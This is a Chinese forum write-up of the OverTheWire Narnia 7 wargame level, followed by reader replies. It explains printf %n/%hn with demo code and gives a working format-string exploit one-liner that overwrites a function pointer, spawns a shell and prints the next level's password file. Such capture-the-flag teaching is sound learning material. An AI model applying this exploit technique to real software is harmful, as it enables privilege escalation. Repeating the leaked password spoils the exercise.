首页
社区
课程
招聘
[原创]WarGame-narnia7 解题思路
2019-8-1 15:13 8460

[原创]WarGame-narnia7 解题思路

2019-8-1 15:13
8460

Narnia7源码如下

/*
    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

int goodfunction();
int hackedfunction();

int vuln(const char *format){
        char buffer[128];
        int (*ptrf)();

        memset(buffer, 0, sizeof(buffer));
        printf("goodfunction() = %p\n", goodfunction);
        printf("hackedfunction() = %p\n\n", hackedfunction);

        ptrf = goodfunction;
        printf("before : ptrf() = %p (%p)\n", ptrf, &ptrf);

        printf("I guess you want to come to the hackedfunction...\n");
        sleep(2);
        ptrf = goodfunction;

        snprintf(buffer, sizeof buffer, format);

        return ptrf();
}

int main(int argc, char **argv){
        if (argc <= 1){
                fprintf(stderr, "Usage: %s <buffer>\n", argv[0]);
                exit(-1);
        }
        exit(vuln(argv[1]));
}

int goodfunction(){
        printf("Welcome to the goodfunction, but i said the Hackedfunction..\n");
        fflush(stdout);

        return 0;
}

int hackedfunction(){
        printf("Way to go!!!!");
	    fflush(stdout);
        setreuid(geteuid(),geteuid());
        system("/bin/sh");

        return 0;
}

在vuln函数中看到了很多printf函数,这是强烈的暗示我们要用格式化字符串漏洞去修改ptrf的指针指向hackedfunction函数,由于上次narnia5中我学习格式化字符串参数并不详细,所以这里花了很久去理解格式化字符串中的参数的作用和意义,再次推荐irc.overthewire.org这个IRC,这里的人很强并且很有耐心,只要懂英文,就没啥不能解决的;言归正传,为了理解各个参数的作用,我写了几段代码,第一段如下

int main(){
	int p = -1;
	printf("p = 0x%08x\n",p);
	printf("Hello%n World!\n", &p);
	printf("p = 0x%08x\n",p);
}

运行结果如下

p = 0xffffffff
Hello World!
p = 0x00000005

%n将p从0xffffffff修改为5,其原因就是%n并不是将字符串’hello’写入p,而是将’hello’所占的内存的大小写入p,第二段代码如下

int main(){
	int p = -1;
	printf("p = 0x%08x\n",p);
	printf("Hello%hn World!\n", &p);
	printf("p = 0x%08x\n",p);
}

执行结果如下

p = 0xffffffff
Hello World!
p = 0xffff0005

%hn的意思就是高四位不修改,只修改低四位,注意,这里的5是十进制的,并非十六进制的,所以我们在写入数据到指定位置的时候也必须将数值计算成十进制然后写入,回到narnia7,想利用格式化字符串有三件事儿必须要明白,1、要写入的地址;2、要写入的地址在栈上的位置;3、要写入的数据内容;程序执行如下

narnia7@narnia:/narnia$ ./narnia7 aa bb
goodfunction() = 0x80486ff
hackedfunction() = 0x8048724

before : ptrf() = 0x80486ff (0xffffd668)
I guess you want to come to the hackedfunction...
Welcome to the goodfunction, but i said the Hackedfunction..

要写入的地址为0xffffd668,要写入的内容为0x8048724,因为我们要修改的地址前四位都是0804(32位系统下地址都是8位的),所以会用到%hn,最后要得到ptrf在栈中的位置,gdb调试结果如下

(gdb) x/20x $esp
0xffffd61c:	0xffffd62c	0x00000080	0xffffd892	0x080486ff
0xffffd62c:	0x00000000	0x00000000	0x00000000	0x00000000
0xffffd63c:	0x00000000	0x00000000	0x00000000	0x00000000
0xffffd64c:	0x00000000	0x00000000	0x00000000	0x00000000
0xffffd65c:	0x00000000	0x00000000	0x00000000	0x00000000
(gdb)

断点下在snprintf函数,运行后断下,看到0x080486ff处于0xffffd628的位置,因为源码中snprintf传入的有三个参数,所以这个位置就是%01n的位置,如果尝试写入值的话,就会发现写到了0xffffd62c的位置也就是%02n,最终利用结果如下

narnia7@narnia:/narnia$ ./narnia7 $(python -c 'print "\x58\xd6\xff\xff%34592x%02hn"')
goodfunction() = 0x80486ff
hackedfunction() = 0x8048724

before : ptrf() = 0x80486ff (0xffffd658)
I guess you want to come to the hackedfunction...
Way to go!!!!$ whoami
narnia8
$ cat /etc/narnia_pass/narnia8
mohthuphog
$

小结

内容中的地址有些前后对不上,是因为wargame的ssh连接并不稳定,总是断开,重连以后地址就完全不同了,所以前后不同

歪果仁的耐心还是不错的,会从很基础的位置开始教起(这里没有崇洋媚外的意思),但是国内论坛的大佬们显然就没有这个“时间”了O(∩_∩)O哈哈~ ,这里我之所以重新讲格式化字符串是因为我在开始学习之初也对这个东西非常不理解,这直接导致了学不下去,我当时就不能理解就代表了也有新人很不理解,所以我就从HelloWord开始讲起

wikipedia对于格式化字符串的解释

附件是可执行代码和源码

版主,我解说的这么详细,不给个精华么o(╥﹏╥)o


[培训]《安卓高级研修班(网课)》月薪三万计划,掌 握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

上传的附件:
收藏
点赞1
打赏
分享
最新回复 (3)
雪    币: 242
活跃值: (89)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
pull 1 2019-8-5 16:56
2
0
感谢分享,%02hn的02没弄明白是什么意思。

windows上的msvcrt.printf好像没有%n功能。
如果要写入的地址中正好有0x00,构造不了"format"
雪    币: 12129
活跃值: (15560)
能力值: ( LV12,RANK:240 )
在线值:
发帖
回帖
粉丝
pureGavin 2 2019-8-13 17:55
3
0
pull 感谢分享,%02hn的02没弄明白是什么意思。 windows上的msvcrt.printf好像没有%n功能。 如果要写入的地址中正好有0x00,构造不了"format" ...
02的意思是目标地址所在的栈的位置是第二个
这些游戏全都是在Linux下的,Windows的暂时没找到
0x00这种情况我遇到过一次,不过还好是在我的机器上,如果在narnia server上的话就GG了
雪    币: 12129
活跃值: (15560)
能力值: ( LV12,RANK:240 )
在线值:
发帖
回帖
粉丝
pureGavin 2 2019-8-13 17:55
4
0
pull 感谢分享,%02hn的02没弄明白是什么意思。 windows上的msvcrt.printf好像没有%n功能。 如果要写入的地址中正好有0x00,构造不了"format" ...
02的意思是目标地址所在的栈的位置是第二个
这些游戏全都是在Linux下的,Windows的暂时没找到
0x00这种情况我遇到过一次,不过还好是在我的机器上,如果在narnia server上的话就GG了
游客
登录 | 注册 方可回帖
返回